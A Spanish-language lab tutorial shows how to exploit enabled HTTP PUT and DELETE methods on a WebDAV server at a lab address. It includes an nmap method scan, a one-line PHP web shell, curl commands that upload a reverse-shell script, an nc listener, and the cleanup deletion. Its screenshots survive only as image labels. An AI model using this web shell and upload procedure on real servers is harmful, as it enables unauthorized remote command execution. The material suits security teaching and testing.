Explotación del método PUT, DELETE y CONNECT

En HTTP

Featured image

Antes de iniciar se recomienda sobre las imágenes realizar clic derecho en abir imagen en una pestaña nueva para verla de mejor forma.

Para entender este tipo de explotación es necesario conocer que realiza cada uno de estos métodos que lo hacen peligrosos si están habilitados:

Burp Suite es una herramienta en dónde cada solicitud HTTP realizada por su navegador se intercepta por un proxy previamente configurado. Con esto se pueden llegar a ver las peticiones que se realizan sobre el servidor web.

Comenzamos realizando un nmap para detectar los métodos disponibles, aunque igualmente se puede realizar con burp suite con OPTIONS:

┌─[root@kali]─[/home/user/demo/]
└──╼ nmap -p80 --script http-methods 10.1.1.9
Nmap scan report for 10.1.1.9
Host is up (0.00040s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-methods: 
|_  Supported Methods: GET POST HEAD CONNECT PUT DELETE OPTIONS

Nmap done: 1 IP address (1 host up) scanned in 1.11 seconds

Como se verifica que tenemos habilitado PUT, procedemos a interceptar con burp suite la página web y realizamos un test inicial con un simple archivo TXT para verificar que la vulnerabilidad se encuentre presente:

archivotxt

davtxt

Ahora se verifica el método DELETE:

deletetxt

Como ya se comprobó que todo está funcional, procedemos a probar ejecución de comandos con la siguiente linea en php:

<?php echo system($_REQUEST['cmd']); ?>

Esto se realiza de la siguiente forma:

cmdphp

Como se subió de forma exitosa lo procedemos a abrir y ejecutar comandos:

ver

cmd

Funciona perfectamente, ahora como ya podemos realizar todo esto se intentará subir un php malicioso para que nos devuelva un terminal interactivo por nc:

Para esto nos ponemos a la escucha por el puerto que uno quiera:

┌─[root@kali]─[/home/user/demo/]
└──╼ nc -nlvp 443

Ahora procedemos a editar el .php cambiando los parámetros por nuestra IP y puerto:

edit

Una vez realizado esto lo subiremos por medio de curl:

┌─[root@kali]─[/home/user/demo/php-reverse-shell-1.0]
└──╼ curl http://10.1.1.9/dav/ --upload-file ./php-reverse-shell.php -v     
*   Trying 10.1.1.9:80...
* Connected to 10.1.1.9 (10.1.1.9) port 80 (#0)
> PUT /dav/php-reverse-shell.php HTTP/1.1
> Host: 10.1.1.9
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Length: 5489
> Expect: 100-continue
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 100 Continue
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 201 Created
< Date: Sun, 27 Feb 2022 21:34:13 GMT
< Server: Apache/2.2.8 (Ubuntu) DAV/2
< Location: http://10.1.1.9/dav/php-reverse-shell.php
< Content-Length: 279
< Content-Type: text/html; charset=ISO-8859-1
< 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>201 Created</title>
</head><body>
<h1>Created</h1>
<p>Resource /dav/php-reverse-shell.php has been created.</p>
<hr />
<address>Apache/2.2.8 (Ubuntu) DAV/2 Server at 10.1.1.9 Port 80</address>
</body></html>
* Connection #0 to host 10.1.1.9 left intact

Como se realizó de forma exitosa lo procedemos a ejecutar:

revphp execphp ncphp

Y funcionó perfectamente. Ahora borraremos el .php con curl:

┌─[root@kali]─[/home/user/demo/php-reverse-shell-1.0]
└──╼ curl -X DELETE http://10.1.1.9/dav/php-reverse-shell.php -v          
*   Trying 10.1.1.9:80...
* Connected to 10.1.1.9 (10.1.1.9) port 80 (#0)
> DELETE /dav/php-reverse-shell.php HTTP/1.1
> Host: 10.1.1.9
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 204 No Content
< Date: Sun, 27 Feb 2022 21:38:55 GMT
< Server: Apache/2.2.8 (Ubuntu) DAV/2
< Content-Length: 0
< Content-Type: application/x-httpd-php
< 
* Connection #0 to host 10.1.1.9 left intact

delrevphp

Se borra correctamente. Y se demuestra la vulnerabilidad presente.